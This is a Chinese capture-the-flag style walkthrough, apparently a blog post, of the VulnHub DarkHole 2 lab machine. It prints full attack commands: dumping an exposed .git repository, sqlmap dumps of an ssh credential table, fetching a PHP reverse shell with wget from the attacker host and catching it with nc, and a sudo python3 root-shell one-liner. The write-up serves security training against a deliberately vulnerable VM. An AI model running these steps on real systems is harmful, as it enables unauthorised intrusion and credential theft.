VulnHub—DarkHole_ 2

靶机下载地址为:vulnhub-DARKHOLE: 2

靶机IP:192.168.245.140

测试机系统:kali、win10

测试机IP:192.168.245.139

目录

1.信息收集

1.1主机发现

1.2扫描IP端口服务

2.漏洞挖掘

3.权限提升

4.获取root权限


1.信息收集

1.1主机发现

nmap -sn 192.168.245.0/24

  发现靶机IP:192.168.245.140

1.2扫描IP端口服务

Nmap 探测该IP的端口和服务

nmap -A -P 192.168.245.140

2.漏洞挖掘

1.进入网页

访问一下站点,页面存在登陆接口Login。

点击login,跳转至登陆页面

此时查看了下前端的JS文件 并未发现有价值的信息。

再访问之前的那个.git目录

提到.git,我们可以使用git泄露利用工具git-dumper。

git clone https://github.com/arthaud/git-dumper.git	#下载脚本
cd git-dumper
./git_dumper.py http://192.168.245.140/.git 130 	#执行脚本

 执行完成后cd 130/,收集有用的信息

 收集到的信息一:数据库账号密码

cd config
ls
cat config.php

收集到的信息二:commit logs存在,我们可以利用它查找主人曾修改过哪些地方

 

使用工具git

git log	#查看日志

通过log可知主人曾修改过三次,我们都来用git diff试试,看看有没有咱们能用的信息。

git diff [commit]	#git diff用法
git diff a4d900a8d85e8938d3601f3cef113ee293028e10	#这里有有用的信息

这里得到了登录的用户名=lush@admin.com和密码=321,就可以去登录了!

登录进来了,看到这个页面,我们可以使用sqlmap了!

在使用sqlmap前,先把id值改为2,使用Burpsuite抓包,存到文件名为bao的文件中。

现在可以使用sqlmap语句枚举数据库了。

mousepad bao
cat bao
sqlmap -r bao --tables		#枚举数据库及表名

 一路回车就可以看到数据库及表名

有用的就是这个ssh的表,下面我们继续枚举

sqlmap -r bao --columns -D "darkhole_2" -T "ssh"	#枚举ssh库列名

是我们需要的表,现在我们需要dump他的数据!

sqlmap -r bao --dump -D "darkhole_2" -T "ssh" 	#显示表内数据

现在我们得到了ssh的用户名和密码

可以ssh jehad用户了!

ssh jehad@192.168.245.140	#ssh连接jehad用户

成功登录!

3.权限提升

由id命令可知,jehad并不是root用户

所以让我们看看各个目录下,能不能找到什么有用的~

最终在/opt目录下找到了有用的、可以调cmd的php页面~

未发现我们需要的东西,所以使用了命令history看看能从历史操作得到什么发现

在历史命令列表中我们得到了很有意思的东西,所以理出后续提权思路:该web布在9999端口,使用curl命令查看cmd执行回显,使用wget下载php版reverse shell,于攻击机监听,一切准备好后使9999连接攻击机,得到其他人的权限。

成功后,我们会变成losy

我们继续

首先,我们从网上检索php reverse shell,使用链接https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php,下载后存到攻击机桌面并简单命名为1.php,修改反shell的ip和端口为攻击机的,如下:

 然后在文件夹内打开终端,通过python3开启web服务

python3 -m http.server 8000		#端口随意,未被占用即可

使用其他机器,访问一下,看没有问题然后,我们使用jehad用户,进入/opt/web/目录下,将1.php下载下来

cd /opt/web/
wget 192.168.245.139:8090/1.php		#下载文件

 本机开始监听

nc -nvlp 5555		#攻击机监听

 通过curl访问1.php执行脚本,使losy上线

到此,losy已上线 

由于这是一个不完整的shell,很多事情我们不能做,所以我们需要使用语句升级成完整shell

/bin/bash -i

losy仍不是root,所以我们到它的history有什么值得利用的部分

history

我们找到了losy的密码以及提权命令!

接下来我们ssh到losy

4.获取root权限

losy是有sudo权限的

sudo -l 查看命令

 可以看到python3有root权限,我们直接 sudo 可以执行 python3 切换到 root shell

利用:

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

 最终提权成功,查找信息,获取flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

廾匸0705

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值